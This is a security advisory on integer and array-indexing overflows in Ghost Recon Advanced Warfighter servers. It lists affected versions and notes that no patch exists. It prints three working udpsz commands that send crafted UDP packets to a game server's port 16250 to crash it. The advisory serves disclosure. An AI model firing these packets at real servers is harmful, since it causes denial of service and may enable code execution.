Ubisoft Ghost Recon Advanced Warfighter Integer Overflow and Array Indexing Overflow Vulnerabilities

Bugtraq ID:	41459
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 07 2010 12:00AM
Updated:	Jul 08 2010 09:27PM
Credit:	Luigi Auriemma
Vulnerable:	Ubisoft Entertainment Ghost Recon Advanced Warfighter 2 1.05 Ubisoft Entertainment Ghost Recon Advanced Warfighter 1.35
Not Vulnerable:

Ubisoft Ghost Recon Advanced Warfighter Integer Overflow and Array Indexing Overflow Vulnerabilities

Ghost Recon Advanced Warfighter (GRAW) is prone to an integer-overflow vulnerability and an array-indexing-overflow vulnerability.

Successful exploits may allow attackers to cause denial-of-service conditions. Due to the nature of these issues, code-execution may also be possible, but this has not been confirmed.

GRAW 1.35 and GRAW 2 1.05 are vulnerable; other versions may also be affected.

Ubisoft Ghost Recon Advanced Warfighter Integer Overflow and Array Indexing Overflow Vulnerabilities

The following exploit data and commands are available:

Integer Overflow:

udpsz -C "0100 13 0003 0000 ffffffff" -b 0x41 SERVER 16250 3000

Array Indexing Overflow:

udpsz -C "0100 0d" -X 3 8 l 0 -l 50 -b 0x41 SERVER 16250 3000

or

udpsz -C "0100 0e" -X 3 8 l 0 -l 50 -b 0x41 SERVER 16250 3000

• /data/vulnerabilities/exploits/41459.zip

Ubisoft Ghost Recon Advanced Warfighter Integer Overflow and Array Indexing Overflow Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Ubisoft Ghost Recon Advanced Warfighter Integer Overflow and Array Indexing Overflow Vulnerabilities

References:

• Ghost Recon Advanced Warfighter (Ubisoft Entertainment)
  
• Ghost Recon Advanced Warfighter Advisory (Luigi Auriemma)